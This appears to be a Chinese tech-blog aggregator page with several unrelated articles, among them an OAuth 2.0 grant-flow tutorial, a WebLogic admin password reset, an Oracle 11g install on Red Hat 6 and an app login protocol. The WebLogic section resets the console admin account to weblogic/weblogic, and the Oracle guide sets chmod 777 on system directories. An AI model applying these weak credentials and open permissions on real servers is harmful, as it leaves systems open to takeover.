  • code:表示授权码,必选项。该码的有效期应该很短,通常设为10分钟,客户端只能使用该码一次,否则会被授权服务器拒绝。该码与客户端ID和重定向URI,是一一对应关系。
  • state:如果客户端的请求中包含这个参数,认证服务器的回应也必须一模一样包含这个参数。

下面是一个例子。


HTTP/1.1 302 Found
Location: https://client.example.com/cb?code=SplxlOBeZQQYbYS6WxSbIA&state=xyz

D步骤中,客户端向认证服务器申请令牌的HTTP请求,包含以下参数:

  • grant type:表示使用的授权模式,必选项,此处的值固定为"authorizationcode"。
  • code:表示上一步获得的授权码,必选项。
  • redirect_uri:表示重定向URI,必选项,且必须与A步骤中的该参数值保持一致。
  • client_id:表示客户端ID,必选项。

下面是一个例子。


POST /token HTTP/1.1
Host: server.example.com
Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW
Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code&code=SplxlOBeZQQYbYS6WxSbIA&redirect_uri=https%3A%2F%2Fclient%2Eexample%2Ecom%2Fcb

E步骤中,客户端发送的HTTP回复,包含以下参数:

  • access_token:表示访问令牌,必选项。
  • token_type:表示令牌类型,该值大小写不敏感,必选项,可以是bearer类型或mac类型。
  • expires_in:表示过期时间,单位为秒。如果省略该参数,必须其他方式设置过期时间。
  • refresh_token:表示更新令牌,用来获取下一次的访问令牌,可选项。
  • scope:表示权限范围,如果与客户端申请的范围一致,此项可省略。

下面是一个例子。


     HTTP/1.1 200 OK
     Content-Type: application/json;charset=UTF-8
     Cache-Control: no-store
     Pragma: no-cache

     {
       "access_token":"2YotnFZFEjr1zCsicMWpAA","token_type":"example","expires_in":3600,"refresh_token":"tGzv3JOkF0XG5Qx2TlKWIA","example_parameter":"example_value"
     }

从上面代码可以看到,相关参数使用JSON格式发送(Content-Type: application/json)。此外,HTTP头信息中明确指定不得缓存。

七、简化模式

简化模式(implicit grant type)不通过第三方应用程序的服务器,直接在浏览器中向认证服务器申请令牌,跳过了"授权码"这个步骤,因此得名。所有步骤在浏览器中完成,令牌对访问者是可见的,且客户端不需要认证。

简化模式

它的步骤如下:

(A)客户端将用户导向认证服务器。

(B)用户决定是否给于客户端授权。

(C)假设用户给予授权,认证服务器将用户导向客户端指定的"重定向URI",并在URI的Hash部分包含了访问令牌。

(D)浏览器向资源服务器发出请求,其中不包括上一步收到的Hash值。

(E)资源服务器返回一个网页,其中包含的代码可以获取Hash值中的令牌。

(F)浏览器执行上一步获得的脚本,提取出令牌。

(G)浏览器将令牌发给客户端。

下面是上面这些步骤所需要的参数。

A步骤中,客户端发出的HTTP请求,包含以下参数:

  • response_type:表示授权类型,此处的值固定为"token",必选项。
  • client_id:表示客户端的ID,必选项。
  • redirect_uri:表示重定向的URI,可选项。
  • scope:表示权限范围,可选项。
  • state:表示客户端的当前状态,可以指定任意值,认证服务器会原封不动地返回这个值。

下面是一个例子。


    GET /authorize?response_type=token&client_id=s6BhdRkqt3&state=xyz&redirect_uri=https%3A%2F%2Fclient%2Eexample%2Ecom%2Fcb HTTP/1.1
    Host: server.example.com

C步骤中,认证服务器回应客户端的URI,包含以下参数:

  • access_token:表示访问令牌,必选项。
  • token_type:表示令牌类型,该值大小写不敏感,必选项。
  • expires_in:表示过期时间,单位为秒。如果省略该参数,必须其他方式设置过期时间。
  • scope:表示权限范围,如果与客户端申请的范围一致,此项可省略。
  • state:如果客户端的请求中包含这个参数,认证服务器的回应也必须一模一样包含这个参数。

下面是一个例子。


     HTTP/1.1 302 Found
     Location: http://example.com/cb#access_token=2YotnFZFEjr1zCsicMWpAA&state=xyz&token_type=example&expires_in=3600

在上面的例子中,认证服务器用HTTP头信息的Location栏,指定浏览器重定向的网址。注意,在这个网址的Hash部分包含了令牌。

根据上面的D步骤,下一步浏览器会访问Location指定的网址,但是Hash部分不会发送。接下来的E步骤,服务提供商的资源服务器发送过来的代码,会提取出Hash中的令牌。

八、密码模式

密码模式(Resource Owner Password Credentials Grant)中,用户向客户端提供自己的用户名和密码。客户端使用这些信息,向"服务商提供商"索要授权。

在这种模式中,用户必须把自己的密码给客户端,但是客户端不得储存密码。这通常用在用户对客户端高度信任的情况下,比如客户端是操作系统的一部分,或者由一个著名公司出品。而认证服务器只有在其他授权模式无法执行的情况下,才能考虑使用这种模式。

密码模式

它的步骤如下:

(A)用户向客户端提供用户名和密码。

(B)客户端将用户名和密码发给认证服务器,向后者请求令牌。

(C)认证服务器确认无误后,向客户端提供访问令牌。

B步骤中,客户端发出的HTTP请求,包含以下参数:

  • grant_type:表示授权类型,此处的值固定为"password",必选项。
  • username:表示用户名,必选项。
  • password:表示用户的密码,必选项。
  • scope:表示权限范围,可选项。

下面是一个例子。


     POST /token HTTP/1.1
     Host: server.example.com
     Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW
     Content-Type: application/x-www-form-urlencoded

     grant_type=password&username=johndoe&password=A3ddj3w

C步骤中,认证服务器向客户端发送访问令牌,下面是一个例子。


     HTTP/1.1 200 OK
     Content-Type: application/json;charset=UTF-8
     Cache-Control: no-store
     Pragma: no-cache

     {
       "access_token":"2YotnFZFEjr1zCsicMWpAA","token_type":"example","expires_in":3600,"refresh_token":"tGzv3JOkF0XG5Qx2TlKWIA","example_parameter":"example_value"
     }

上面代码中,各个参数的含义参见《授权码模式》一节。

整个过程中,客户端不得保存用户的密码。

九、客户端模式

客户端模式(Client Credentials Grant)指客户端以自己的名义,而不是以用户的名义,向"服务提供商"进行认证。严格地说,客户端模式并不属于OAuth框架所要解决的问题。在这种模式中,用户直接向客户端注册,客户端以自己的名义要求"服务提供商"提供服务,其实不存在授权问题。

客户端模式

它的步骤如下:

(A)客户端向认证服务器进行身份认证,并要求一个访问令牌。

(B)认证服务器确认无误后,向客户端提供访问令牌。

A步骤中,客户端发出的HTTP请求,包含以下参数:

  • grant type:表示授权类型,此处的值固定为"clientcredentials",必选项。
  • scope:表示权限范围,可选项。

     POST /token HTTP/1.1
     Host: server.example.com
     Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW
     Content-Type: application/x-www-form-urlencoded

     grant_type=client_credentials

认证服务器必须以某种方式,验证客户端身份。

B步骤中,认证服务器向客户端发送访问令牌,下面是一个例子。


     HTTP/1.1 200 OK
     Content-Type: application/json;charset=UTF-8
     Cache-Control: no-store
     Pragma: no-cache

     {
       "access_token":"2YotnFZFEjr1zCsicMWpAA","token_type":"example","expires_in":3600,"example_parameter":"example_value"
     }

上面代码中,各个参数的含义参见《授权码模式》一节。

十、更新令牌

如果用户访问的时候,客户端的"访问令牌"已经过期,则需要使用"更新令牌"申请一个新的访问令牌。

客户端发出更新令牌的HTTP请求,包含以下参数:

  • grant type:表示使用的授权模式,此处的值固定为"refreshtoken",必选项。
  • refresh_token:表示早前收到的更新令牌,必选项。
  • scope:表示申请的授权范围,不可以超出上一次申请的范围,如果省略该参数,则表示与上一次一致。

下面是一个例子。


     POST /token HTTP/1.1
     Host: server.example.com
     Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW
     Content-Type: application/x-www-form-urlencoded

     grant_type=refresh_token&refresh_token=tGzv3JOkF0XG5Qx2TlKWIA

(完)

文档信息

weblogic忘记用户名或者密码的解决方法

$
0
0

weblogic安装后,忘记访问控制台的用户名或者密码,可通过以下步骤来重置用户名密码。

版本:WebLogic Server 10.3


说明:%DOMAIN_HOME%:指WebLogic Server 域(Domain)目录
例如我的做测试的域的根目录 DOMAIN_HOME=D:/Weblogic/Middleware/user_projects/domains/base_domain

1.为了保证操作安全,备份%DOMAIN_HOME%/security/DefaultAuthenticatorInit.ldift

2. 进入%DOMAIN_HOME%/security目录,执行下列命令:
java -classpath D:/Weblogic/Middleware/wlserver_10.3/server/lib/weblogic.jar weblogic.security.utils.AdminAccount username password .

例如:

cd D:\Weblogic\Middleware\user_projects\domains\base_domain\security
执行java -classpath D:/Weblogic/Middleware/wlserver_10.3/server/lib/weblogic.jar weblogic.security.utils.AdminAccount weblogic weblogic .

特点注意最后有个“ .”,一个空格和一个点。

此命令将生成新的DefaultAuthenticatorInit.ldift文件覆盖原来的。


3. 进入管理服务器的AdminServer目录,如:%DOMAIN_HOME%/servers/AdminServer。将其中的data目录重命名,如:data_old。或者备份到别的地方。


4. 修改管理服务器的boot.properties文件,如:%DOMAIN_HOME%/servers/AdminServer/security /boot.properties,修改其中的用户名与密码(用明文,第一次启动服务器时明文将被加密),要和上面命令
中的用户名密码一致。

例:修改后:
username=weblogic
password=weblogic

5. 重新启动服务器后,就可以使用用户weblogic登录管理控制台了。



已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



github 上的好东西

$
0
0

AlloyImage

angular.js

device.js

  • Device.js makes it easy to write conditional CSS and/or JavaScript based on device operating system , orientation,and type

echarts

  • Enterprise Charts

headroom.js

  • Give your pages some headroom. Hide your header until you need it

highlight.js

instantclick

ieBetter.js

  • make ie browser like a morden browser main for ie6~ie8

jOrgChart

  • A jQuery plugin to draw tree-like structures such as OrgCharts

jstree

kityminder

MathJax

mindmaps

my-mind

Nestable

  • Drag & drop hierarchical list with mouse and touch compatibility (jQuery plugin)(ps: support IE8)

PickMeUp

  • Really simple, powerful and customizable datepicker

revenge

resume.github.com

Semantic-UI

  • Semantic empowers designers and developers by creating a shared vocabulary for UI

startbootstrap

three.js

to-markdown

  • An HTML to Markdown converter written in javascript

zTree_v3

  • jQuery Tree Plugin

document

You-Dont-Know-JS

nodejs

douban.fm

  • a tiny and smart cli player of douban.fm based on Node.js

express

  • Sinatra inspired web development framework for node.js -- insanely fast, flexible, and simple
    http://expressjs.com

marked

  • A markdown parser and compiler. Built for speed.

markdown-js
- A Markdown parser for javascript

node

stackedit

jquery和DOM比较

$
0
0

1、window.onload和$(document).ready()的区别

 

 

window.onload

$(document).ready()

执行时机

必须等整个网页中所有的内容加载完毕后(包括图片)才能执行

网页中所有DOM结构绘制完毕后就执行,可能DOM元素并没有加载完

编写个数

不能同时编写多个

Window.load=function(){

Alert(“helloworld”);

}

Window.load=function(){

Alert(“helloworld”);

}

只会输出最后一次结果

$(document).ready(functtion(){

Alert(“helloworld”);

});

$(document).ready(functtion(){

Alert(“helloworld”);

 

});

会输出两次结果

简化

  

 

 

2、jquery对象和DOM对象的区别

Juery对象是包装DOM后的产生的对象,DOM是原生对象,是一个基本的文档结构。

方法上区别:

DOM中:获取元素节点:document.getElementsByTagName或者getElementById来获取,获取属性:对象.innerHTML;

Jquery中:利用$(#id).html()获取id元素内的html

 

3.jquery对象和DOM对象的转换

A.首先约定好定义变量的风格;若定义jquery对象,则加上$,如$varibale若为DOM,直接定义为variable

B.Jquery对象转成DOM对象可利用get(index)和$[index]

利用数组,可用$[index]来获取一个DOM对象,如var$cr=$(“#cr”);varcr=$cr[0]

利用get方法,如var$cr=$(“#cr”);varcr=$cr.get(0);

C.DOM对象转成Jquery对象

利用$()将DOM对象包装起来,就可获得jquer对象

如varvr=document.getElementById(“cr”);var$cr=$(cr);

注意:DOM对象只能用DOM的操作方法。Jquery对象不能用DOM对象的方法



已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



LogicalDOC 6.8.4 发布,文档管理系统

$
0
0

LogicalDOC 6.8.4 发布,文档管理系统

LogicalDOC 6.8.4 发布,此版本更新内容如下:

  1. 启用了 Vietnamese 的 GUI 本地化;

  2. 记录文件夹的  "zip export" 事件;

  3. 文件夹搜索现在 case-insenstive;

  4. 修复了 Ticket 下载(文件名,编码 IE 11);

  5. 修复了移动文档到文件夹,不需要读权限;

  6. 修复了文档预览只能看到第一页的问题。

LogicalDOC是一个采用Java开发的基于网页的文档管理系统, 易于使用和学习。它利用最佳的Java技术,实现了强大而灵活的解决方案。为用户提供了强大的搜索引擎(基于Lucene),(通过CXF的JAX-WS)Web服务接口。提供 .NET和PHP版本,附带论坛和WebDAV的接口,支持文档导入导出到ZIP文件和邮箱文件。文件夹可分层次组织,搜索使用集成搜索引擎,或通过标签浏览。通过插件体系可方便进行功能扩展。

LogicalDOC 6.8.4 发布,文档管理系统

您可能也喜欢:

Drupal 7.28 发布,内容管理系统

Drupal 7.27 发布,内容管理系统

雷驰新闻发布管理系统v3.0漏洞

凡诺企业网站管理系统XSS漏洞

[原创]利用fluentd构建分布式日志管理系统 - Hevienz
无觅

The post LogicalDOC 6.8.4 发布,文档管理系统 appeared first on 神刀安全网.


5种关键元素让通知变友好

$
0
0

你是否注意过,每天各种网页服务和APP的方式,会收到多少通知和警告信息?其中有多少是你真正在乎的?这个问题越来越让人担忧,因为我们使用的服务在增多,但是我们的时间和注意力仍然有限。

gear notification

我们白天接受这么多“嘀嘀嘀”和“弹出窗口”,我们不仅被分散了注意力,然后还要很辛苦地回到手头的事情上。最终,我们将这些让人分心服务一忘皆空,或者尽可能对通知做出限制。为什么?想想看。当你开始使用一项网页服务,或者安装一个移动APP时,你期望的是某个特定的用途,或是满足你最初的需求,你并不介意各种通知,只要它们有足够多“打断的价值”,意思是它们足够有用或有趣来使你分心。问题是,只有很少的通知遵循这一规则。

Android notifications

作为一个用户,我讨厌这样;但从产品方的观点来看,通知比仅仅告知用户重大错误、APP崩溃或新即时消息具有更大潜力。这是一件强大的营销工具,可以直接与用户沟通,在适当的时间地点传达适当的信息来提升用户粘度。但如何将这种违背用户体验的方式,转变为对产品方和用户都有意义和作用的东西?

1. 重要性

在钻研通知设计之前,问问自己“我确实需要通知吗?”这听起来挺荒唐,但有些通知根本不应该出现在用户屏幕上。有时候,我们遵循“可见的系统状态”的易用性启示,每一条错误提示都做了设计,但用户真的需要知道吗?如果这条消息单纯只是信息,不需要系统对它做出任何反应,那可能就没那么重要。另一方面,假如重大错误出现,这项服务或APP的表现取决于用户操作,可能导致重要数据丢失,此时通知对于用户和产品方都是一种便利。Google Chrome的崩溃页面通知就是个好例子。

Chrome crash

2. 关联性与及时性

使通知保持关联的最好方法,是善加利用以前的用户数据分析。没有什么比实际的行为统计更能反映用户信息的了。设计通知时,注意产品的使用率数据,还有所收集到其他任何目标受众的信息。这有助于使通知与用户紧密相关,增加产生对话的机会。关联性也要适时,你得在用户最不容易忽略它时发出通知。显然,夜晚不是发送通知的最佳时间。涉及到采集用户时区数据,和他们更倾向于查看消息的时间时,用户统计大有帮助。

foursquare notification

3. 定制化

定制化的产品特征是个好主意,尤其是涉及到通知时。这并不是说让用户关掉所有类型的通知(尽管那样人人都喜欢),而是让用参与内容的定制。当用户选择接收或拒绝哪些通知时,他们看到自己所选时会很高兴。假如你的产品刚问世,设计通知系统时没有足够的用户数据可以依靠,定制化是个很好的选择。一段时间后,你会清楚看见哪些通知对用户有用、有关联、及时,哪些需要重新思考。

osx notifications

galaxy tab notification

4. 简明易懂的消息

无论通知的内容是什么,确保它吻合用户的语言习惯,直接而形象。保持信息简明易懂。避免使用“你赚了!”或“100%免费”这种垃圾邮件般的词汇。试着让信息简练却容易理解。不要让消息提醒的措辞给用户带来挫败感。毕竟,通知也是一个沟通渠道;你得与品牌形象和信息语调保持统一,同时保持友好且富创造力。

ipad notifications

5. 有效的传达方式

有一大堆各种类型的通知和传达方式:短信、邮件通知、移动APP推送消息、网页通知、弹窗提示等等。为了管理这些通知,并更好利用它们,我们需要根据交互类型,将它按条件分为两组:”产品对用户的通知“和”用户对用户的通知“。根据服务类型和用户的目标,这两组通知可能有不同的优先级。举个例子,一个Instagram用户可能更有兴趣知道哪些照片里有他/她,或者有哪些新加入的Facebook好友,而不是给这个APP评分。

ibeacon

了解哪种通知类型和传达方式更易被用户察觉,是任何应用提整个体通知体验的关键。

来源:http://article.yeeyan.org/view/418335/406968


© 推荐 for 互联网的那点事. | 猛击下载: iPhone客户端猛击下载: Android客户端

阿里产品经理在做什么?

$
0
0

这个周末又把大学时看得《人人都是产品经理》拿出来梳理,看看阿里的产品经理在头几年都做了些什么?

总的来说有三个方面,需求分析、项目管理以及战略思维。

需求分析一般作为产品经理的入门工作,包括用户研究、需求采集、需求分析、需求筛选以及最后的需求管理。

用户研究也就是说研究使用该产品的客户,理解客户是产品经理的基本素质之一,也就是我们所说的以用户为中心,但实际中也有不少项目是以老板为中心。同时满足所有用户的需求也是不可能的,公司的项目都要讲究性价比,要与商业目标结合。这是作为产品经理需要具备的思想。

用户研究是手段是persona方法,也就是对典型产品使用者的一个描述,通常一个项目中有3-6个persona。一般包括的内容有个人基本信息、家庭、工作、生活环境等。需求采集按照定性定量的说或者做,可以分为用户访谈、调查问卷、数据分析、可用性测试四种方法。手段可以通过单项需求卡片。

需求的分析是将用户需求转换成产品需求的过程,通常产出物有产品需求列表。需求的筛选也要结合商业考虑,即性价比等。

最后的需求管理,包括整理出需求的详细属性,有需求提交人、商业价值、状态、分类以及模块等。

项目管理也就是一般项目经理做的事情,主要职责就是计划和控制。

内容包括文档、流程、敏捷,其中开始之前还有一个kick off大会,即项目启动大会,主要包括团队组建和计划确立。文档包括BRD、MRD、PRD、FSD四种文档。BRD一般以ppt的形式进行市场分析、销售策略和盈利预测,一般无产品细节,主要是为了获得领导的认可和争取资源。MRD是更细致的市场分析和竞争对手分析,包括Feature List以及业务逻辑图。PRD是对产品的整体说明,包括用例文档、产品DEMO等,主要面向技术人员。FSD也就是概要设计说明书。

流程主要是设计、设计评审、编码、单元测试。产品经理主要在设计评审阶段,看需求理解是否准确。同时整理项目的周报、月报,主要关注里程碑。后期包括项目发布公告,项目小结。敏捷开发,包括持续细化需求,强调测试。更加倾向于“保质不保量”。

做老板项目的时候,关注TRQ,给自己留足够的T缓冲,Q尽量说大,R找老板。项目的发布一般选在周二或周四。同时牢记“无论最终发现什么,我们必须理解并完全相信:每个人在其当时所处的情况下,在其能力范围中,做了最大的努力”。

关于战略,也就是我们所说的可行性分析。有时候经常犯的一个错误就是不从目的出发去评论一个用户体验的好坏。而分析的流程一般是“我们在哪儿,我们去哪儿,我们怎么去”,我们的现状,通过市场分析(PEST),竞品分析($appeals),自我分析(SWOT)。我们去哪儿,我们的目标用户,我们需要解决目标用户的什么问题,我们怎么去就是策略。

本文为作者:madeinpangang投稿发布,转载请注明出处并附带本文链接


(关注更多人人都是产品经理观点,参与微信互动(微信搜索“人人都是产品经理”或“woshipm”)

为Canvas而生:开源2D HTML5渲染引擎CutJS

$
0
0

CutJS 是一款专门用于跨平台游戏开发的开源 2D HTML5 渲染引擎,轻量级、快速、可交互,CutJS 的优势可谓颇多。CutJS 基于 MIT 许可协议发布,由 Piqnt 软件工作室推出,支持现代浏览器和移动设备,可用于 Web、iOS、Android、Win8、Facebook、Chrome Web Store 等平台游戏应用开发。

作为 HTML5 中新晋的标签元素,Canvas 提供了基于 JavaScript 的 2D 和 Bitmap 图形 API,但却没有像 DOM 之类的数据模型来帮助开发者编写应用,开发者必须手动绘制应用并对渲染循环进行管理以实现播放 Canvas 图形。此外,鼠标事件也只适用于整个 Canvas 层,并且还需手动处理。

而 CutJS 可以非常良好地解决这些问题。CutJS 为开发者提供了一个类似于 DOM 树的数据模型来编写应用程序,并在内部管理渲染周期和应用绘制,还能处理并向目标树节点分发鼠标事件。

本文链接

Linux下安装Oracle 11g

$
0
0


1、 下载安装VMware Workstation v9.0.2 虚拟机软件,下载rhel-server-6.0-x86_64-dvd.iso安装Red Hat Enterprise Linux 6 64-bit操作系统到VMware中,安装时候添加Linux用户Oracle。

2、 在Vmware虚拟机中设置光驱属性为使用ISO映像文件linux.x64_11gR2_database.iso,并连接到虚拟机,拷贝光驱中的Oracle11G安装文件夹database到虚拟机的/u02/目录下
3、 修改Linux虚拟机的IP地址为192.168.1.121和主机名gpdb
Windows下查询主机的IP地址ipconfig /all
  IP Address. . . . . . . . . . . . : 192.168.1.21
  Subnet Mask . . . . . . . . . . . : 255.255.255.0
  Default Gateway . . . . . . . . . : 192.168.1.1
  DHCP Server . . . . . . . . . . . : 192.168.1.1
  DNS Servers . . . . . . . . . . . : 61.235.70.252
                                      114.114.114.114

Linux下设置IP地址办法:System-Preferences-Network Connections
选择System eth0后点Edit按钮,切换到IPV4 Settings选项卡,设置Method为Manual,点[Add]
选择Auto eth1

4、 编辑部分配置文件
1>输入命令:vi /etc/security/limits.conf,按i键进入编辑模式,将下列内容加入该文件
oracle  soft    nproc    2047
oracle  hard    nproc    16384
oracle  soft    nofile    1024
oracle  hard    nofile    65536
编辑完成后按Esc键,输入“:wq”存盘退出
2>输入命令:vi /etc/pam.d/login,按i键进入编辑模式,将下列内容加入该文件。
session  required    /lib/security/pam_limits.so
session  required    pam_limits.so
编辑完成后按Esc键,输入“:wq”存盘退出
3>输入命令:vi /etc/profile,按i键进入编辑模式,将下列内容加入该文件。
#oracle setup
if [ $USER = "oracle" ]; then
if [ $SHELL = "/bin/ksh" ]; then
  ulimit -p 16384
  ulimit -n 65536
else
  ulimit -u 16384 -n 65536
fi
fi
编辑完成后按Esc键,输入“:wq”存盘退出
4>输入命令: vi /etc/sysctl.conf ,按i键进入编辑模式,将下列内容加入该文件
fs.file-max = 6815744
fs.aio-max-nr = 1048576
kernel.shmall = 2097152
kernel.shmmax = 2147483648
kernel.shmmni = 4096
kernel.sem = 250 32000 100 128
net.ipv4.ip_local_port_range = 9000 65500
net.core.rmem_default = 4194304
net.core.rmem_max = 4194304
net.core.wmem_default = 262144
net.core.wmem_max = 1048576
编辑完成后按Esc键,输入“:wq”存盘退出
5>输入命令sysctl  -p刷新配置


5、 创建Oracle安装时候需要的用户组,添加oracle用户并归属到刚才添加的用户组中
创建用户组命令
groupadd  oinstall
groupadd  dba
将oracle用户加入到刚建立的用户组中
usermod -a -G oinstall oracle
usermod -a -G dba oracle

6、 创建数据库软件目录和数据文件存放目录
mkdir /u01
mkdir /u02
mkdir /u02/database


7、 设置相关数据库安装目录和文件对应的权限
mkdir /u01/app
mkdir /u01/app/oracle
mkdir /u01/app/oradata
mkdir /u01/app/oracle/product

chown -R oracle:oinstall /opt
chown -R oracle:oinstall /u01/app
chown -R oracle:oinstall /u02/database

chmod 777 /opt
chmod 777 /u01
chmod 777 /u02/database/runInstaller
chmod 777 /u02/database/install/.oui
chmod 777 /u02/database/install/unzip

8、 切换用户到oracle,su - oracle.修改编辑环境变量vi .bash_profile,末尾添加
umask 022
export ORACLE_BASE=/u01/app/oracle
export ORACLE_HOME=$ORACLE_BASE/product/11.2.0/dbhome_1
export ORACLE_SID=orcl
export PATH=$PATH:$HOME/bin:$ORACLE_HOME/bin
export LD_LIBRARY_PATH=$ORACLE_HOME/lib:/usr/lib

9、 切换到数据库目录,

如果上次安装失败,则先删除掉文件夹
rm -rf  /u01/app
rm -rf  /u01/oraInventory

chown -R oracle:oinstall /opt
chown -R oracle:oinstall /u01/app
chown -R oracle:oinstall /u02/database

chmod 777 /opt
chmod 777 /u01
chmod 777 /u02/database/runInstaller
chmod 777 /u02/database/install/.oui
chmod 777 /u02/database/install/unzip

10、安装Oracle相关的Linux包
登录root用户界面,拷贝RedHat Enterprise Linux 6的光盘Packages目录中到/Packages中,使用下面两条命令检测Linux系统中没有安装的包
[root@gpdb Desktop]# rpm -q binutils compat-libcap1 compat-libstdc++-33 gcc gcc-c++ glibc glibc-devel ksh libgcc libstdc++ libstdc++-devel

[root@gpdb Desktop]# rpm -q libaio libaio-devel libXext libXtst libX11 libXau libxcb libXi make sysstat

进入Packages目录找到对应的包名

cd /Packages

find . -name compat-libcap1*
find . -name compat-libstdc++-33*
find . -name gcc*
find . -name ksh*
find . -name libstdc++-devel*
find . -name libaio-devel*

查找到对应包名后,运行相关的安装命令如下

rpm -ivh compat-libcap1-1.10-1.x86_64.rpm
rpm -ivh compat-libstdc++-33-3.2.3-69.el6.x86_64.rpm
rpm -ivh ksh-20100621-2.el6.x86_64.rpm
rpm -ivh libstdc++-devel-4.4.4-13.el6.x86_64.rpm
rpm -ivh libaio-devel-0.3.107-10.el6.x86_64.rpm
rpm -ivh gcc-c++-4.4.4-13.el6.x86_64.rpm

11、注销root用户,使用oracle用户登录系统后,在命令行中执行命令
cd /u02/database
./runInstaller

启用安装界面,忽略掉其它错误,直到完成。

已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



一套适用用App的自动登录协议

$
0
0

很多App都是在启动的时候就自动给用户注册一个账号,先用着,稍后再绑定邮箱和密码。因此,我在前人的基础上设计了这样一套协议

注册:

客户端用不对称密钥算法(如RSA、ECDSA)生一对密钥,然后把公钥发给服务器,服务器把公钥插入到数据库中,返回一个新生成的userid

登录:

1. 服务器发给客户端一个32位随机数r1

2. 客户端自己再生成一个32位随机数r2,然后把r1,r2,userid用memcpy的方式合起来,用私钥计算出一个签名s1,然后把r1,r2,userid,s1发给服务器。

3. 服务器收到答复后,先看那个随机数r1是不是刚才它发给客户端的。然后根据userid从数据库里面查出客户端的公钥,用它验证数字签名是有效的。

4. (可选) 在完成前三步后,服务器把r2,r1用memcpy的方式合起来,用私钥计算出一个签名s2,然后把s2发给客户端。客户端收到后用服务器的公钥验证下签名,这样它就相信这个服务器不是假冒的。这要求服务器的公钥证书要实现内置在客户端中。 

以上注册和登录的过程都可放在后台,不需要用户交互。不对称加密算法推荐使用ECDSA,比如ECDSA-128,因为它的公钥很短,计算很快。

 但是,其实,生随机数很耗费CPU的。我在想怎样修改它让它能更好的避免DDOS攻击。

This article is from: https://www.sunchangming.com/blog/post/4624.html

Viewing all 15843 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>